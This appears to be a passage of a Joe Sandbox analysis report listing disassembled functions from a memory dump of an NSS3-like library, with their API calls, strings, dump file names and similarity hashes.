Instruction Fuzzy Hash: 7791CEB1A042068FEB04CF29C885F7AB7B1FF45309F64462DE41697B50EB35E861CBA5

Function 6C4F0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C4F0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C4F0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C4F1006
PK11_FreeSymKey.NSS3(?), ref: 6C4F101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4F1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4F103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C4F1048
memcpy.VCRUNTIME140(?,?,?), ref: 6C4F108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C4F10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C4F10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C4F112E

Part of subcall function 6C4F1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C4F08C4,?,?), ref: 6C4F15B8
Part of subcall function 6C4F1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C4F08C4,?,?), ref: 6C4F15C1
Part of subcall function 6C4F1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4F162E
Part of subcall function 6C4F1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4F1637

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 58c2f016c27de813ec26a70e176f4d3893bb42a6ea9f989a54c876d455752489
Instruction ID: b8c026e63a009a05fb5be8434f679cfdcc4c0919d8dbd96dbf443c7bb785effd
Opcode Fuzzy Hash: 58c2f016c27de813ec26a70e176f4d3893bb42a6ea9f989a54c876d455752489
Instruction Fuzzy Hash: 9D71C0B1A00245CFDB00CFA5CD84E6AB7B5BFC8319F14862CE92997B11E771E946CB91

Function 6C511CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C511F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C512166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C51228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C5123B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C51241C

Strings

manufacturer, xrefs: 6C512179
token, xrefs: 6C511F2C
model, xrefs: 6C5123CB, 6C5123EC
serial, xrefs: 6C5122A2

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 4c8b3f13f981be8262c642c34b3f1847885a91baba46a46aa594aff1cd134c69
Instruction ID: 7578994ee5c6a6cf527dce8e37e2a4d44f818dfce3945869810fcf196d983c42
Opcode Fuzzy Hash: 4c8b3f13f981be8262c642c34b3f1847885a91baba46a46aa594aff1cd134c69
Instruction Fuzzy Hash: F402DFB2E0C7C86EF7318671CC4C7D76AE09B46328F4C56AEC5DE46E83C3A859898751

Function 6C450FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C44CA30: EnterCriticalSection.KERNEL32(?,?,?,6C4AF9C9,?,6C4AF4DA,6C4AF9C9,?,?,6C47369A), ref: 6C44CA7A
Part of subcall function 6C44CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C44CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C45103E
EnterCriticalSection.KERNEL32(?), ref: 6C451139
LeaveCriticalSection.KERNEL32(?), ref: 6C451190
sqlite3_free.NSS3(00000000), ref: 6C451227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C45126E
sqlite3_free.NSS3(?), ref: 6C45127F

Strings

winAccess, xrefs: 6C45129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C451267
P]l, xrefs: 6C45109E

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: P]l$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-542985738
Opcode ID: 1c3ca32dbae173bc9dcf6da7980160cbf96370837b2607473c20578f84c8afd1
Instruction ID: f39703dbea9b2a27b01dab26648fa78567ec10a47719288f72bf11e789df938a
Opcode Fuzzy Hash: 1c3ca32dbae173bc9dcf6da7980160cbf96370837b2607473c20578f84c8afd1
Instruction Fuzzy Hash: 3F7127357052019BEB04DF2ADCC9E6A73B5EB8A316F54022AF91197F80DB34DC61CB96

Function 6C516C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C4C1C6F,00000000,00000004,?,?), ref: 6C516C3F

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C4C1C6F,00000000,00000004,?,?), ref: 6C516C60
PR_ExplodeTime.NSS3(00000000,6C4C1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C4C1C6F,00000000,00000004,?,?), ref: 6C516C94

Strings

gfff, xrefs: 6C516D66
gfff, xrefs: 6C516CF5
gfff, xrefs: 6C516CFD
gfff, xrefs: 6C516D9C
gfff, xrefs: 6C516D30

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: acd83c27cec2ed6103c6ae42c2f301d2c23595ecd4f6270ed7b28b678740b76d
Instruction ID: 485d6a4e53bd30b35038c57cf16fc0ab661a329f8984434fd747dcc2b9c7af82
Opcode Fuzzy Hash: acd83c27cec2ed6103c6ae42c2f301d2c23595ecd4f6270ed7b28b678740b76d
Instruction Fuzzy Hash: 7E513B72B016494FD718CDADDC526DAB7DADBE4310F48C23AE841DBB81DA38D906C751

Function 6C590F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C591027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5910B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C591353

Strings

NULL, xrefs: 6C59119E
%lld, xrefs: 6C59114B
$, xrefs: 6C5912A0
-- , xrefs: 6C590FF5
%02x, xrefs: 6C5912F6
'%.*q', xrefs: 6C591217, 6C591292
zeroblob(%d), xrefs: 6C591223

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 9dbd613c10d20451ce0505f68c09c7c1fad6dd6b960ac9ba4d294d93437f6b2d
Instruction ID: bf4012599f6b8ab289a9ff197e5b0aa34344856532a2d9f61862beda3063dc9b
Opcode Fuzzy Hash: 9dbd613c10d20451ce0505f68c09c7c1fad6dd6b960ac9ba4d294d93437f6b2d
Instruction Fuzzy Hash: EDE1C071A08390DFD704CF19C880A6BBBF9AFC6348F14899DE99587B51E771E845CB82

Function 6C598FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C598FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5990DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C599118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C59915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5991C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C599209

Strings

UUUU, xrefs: 6C599255
3333, xrefs: 6C59925E

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 1d2378aba334de02df423411e122769a4b668d8c6864a0dbe11a1fb6df497c3c
Instruction ID: 514a026f947d9161c0c5a117506c218686a9a63e3f7682974da3225ccd9b80f4
Opcode Fuzzy Hash: 1d2378aba334de02df423411e122769a4b668d8c6864a0dbe11a1fb6df497c3c
Instruction Fuzzy Hash: 79A1AE72E001159FDB04CB69CC81BAEB7B5BF88324F0A4169E919A7341E736EC51CBE1

Function 6C52BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C52BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C52BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C52BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C52BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C52BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C52BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C52BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C52BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C52BE1E

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: a9cf5a7d9558cb9eb1d429156be82c051b447640dc30ba1987c42edd74252f97
Instruction ID: 61031f82098966e0552c1d4d23166c9276e617232efc65f14eb70ac1ea76a589
Opcode Fuzzy Hash: a9cf5a7d9558cb9eb1d429156be82c051b447640dc30ba1987c42edd74252f97
Instruction Fuzzy Hash: C1218577E0429997FB0066579C43F9B32F49BD174DF080115FA17EE6C1E718D81886A6

Function 6C5D8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C6214E4,6C58CC70), ref: 6C5D8D47
PR_GetCurrentThread.NSS3 ref: 6C5D8D98

Part of subcall function 6C4B0F00: PR_GetPageSize.NSS3(6C4B0936,FFFFE8AE,?,6C4416B7,00000000,?,6C4B0936,00000000,?,6C44204A), ref: 6C4B0F1B
Part of subcall function 6C4B0F00: PR_NewLogModule.NSS3(clock,6C4B0936,FFFFE8AE,?,6C4416B7,00000000,?,6C4B0936,00000000,?,6C44204A), ref: 6C4B0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C5D8E7B
htons.WSOCK32(?), ref: 6C5D8EDB
PR_GetCurrentThread.NSS3 ref: 6C5D8F99
PR_GetCurrentThread.NSS3 ref: 6C5D910A

Strings

%u.%u.%u.%u, xrefs: 6C5D8E74

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 66817872825a4fe3c678348eb7168ea6b6922b33544beefc7dcd835684b924fd
Instruction ID: e23e48e737833ac5709927a365a7203360d9efe49a206b237de1a5d4f6e067af
Opcode Fuzzy Hash: 66817872825a4fe3c678348eb7168ea6b6922b33544beefc7dcd835684b924fd
Instruction Fuzzy Hash: 7D0298319053528BDB18CF1DCC6876ABBB2EF82304F1B825AC8955BA91C731F989C795

Function 6C5568E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C5568FC
PR_EnterMonitor.NSS3 ref: 6C556924

Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890AB
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890C9
Part of subcall function 6C589090: EnterCriticalSection.KERNEL32 ref: 6C5890E5
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C589116
Part of subcall function 6C589090: LeaveCriticalSection.KERNEL32 ref: 6C58913F

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

PR_EnterMonitor.NSS3 ref: 6C55693E
TlsGetValue.KERNEL32 ref: 6C556977
TlsGetValue.KERNEL32 ref: 6C5569B8
PR_ExitMonitor.NSS3 ref: 6C556B1E
PR_ExitMonitor.NSS3 ref: 6C556B39
TlsGetValue.KERNEL32 ref: 6C556B62

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 55d0da814d6ee2f0d381fd105917dade4e50ab817aaf805762770b6dfea02033
Instruction ID: a6791563824ec1b5d812dce7ff43e07fd853438f9e1f5bba6f3921ba0f456223
Opcode Fuzzy Hash: 55d0da814d6ee2f0d381fd105917dade4e50ab817aaf805762770b6dfea02033
Instruction Fuzzy Hash: 8A916F74A58380CBDB50CF2DCC8055D7BB2FB83324BA18A5BC8449BB19DB35E961CB95

Function 6C599D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C458637,?,?), ref: 6C599E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C458637), ref: 6C599ED6

Strings

database corruption, xrefs: 6C599ECA
%s at line %d of [%.10s], xrefs: 6C599ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C599EC0

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: a90dae42f41a14da8e1baf44725bd05d5f3ec6caab356ef99e92057afb548e44
Instruction ID: dd50cd2ef25cb47301e4e1c5f2b4d32ef00dcc15672ccbd90744f622fe07625f
Opcode Fuzzy Hash: a90dae42f41a14da8e1baf44725bd05d5f3ec6caab356ef99e92057afb548e44
Instruction Fuzzy Hash: 3B81B431B012558FDB04CF6ACD80ADEB7F6EF88304B1485A9E919ABB51E731ED45CB90

Function 6C56C9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6C56CEA5

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 395a95d1d03eed0fac3231f49ca145f5d1f17e705902384d740ad62121d68b35
Instruction ID: d2ce17bc55b057d27270c18e6a6917939484b2a12a334b3a1ea97f3ed6da0752
Opcode Fuzzy Hash: 395a95d1d03eed0fac3231f49ca145f5d1f17e705902384d740ad62121d68b35
Instruction Fuzzy Hash: 2371A5719057418FC704CF29C88461ABBF1FF89314F218A2EE469C7BA1E730E955CB91

Function 6C529EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C529ED6

Part of subcall function 6C5214C0: TlsGetValue.KERNEL32 ref: 6C5214E0
Part of subcall function 6C5214C0: EnterCriticalSection.KERNEL32 ref: 6C5214F5
Part of subcall function 6C5214C0: PR_Unlock.NSS3 ref: 6C52150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C529EE4

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C529F38

Part of subcall function 6C52D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C529F0B), ref: 6C52D03B
Part of subcall function 6C52D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C52D04E
Part of subcall function 6C52D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C52D07B
Part of subcall function 6C52D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C52D08E
Part of subcall function 6C52D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C52D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C529F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C529F59

Part of subcall function 6C529D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C529C5B), ref: 6C529D82
Part of subcall function 6C529D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C529C5B), ref: 6C529DA9
Part of subcall function 6C529D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C529C5B), ref: 6C529DCE
Part of subcall function 6C529D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C529C5B), ref: 6C529E43

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
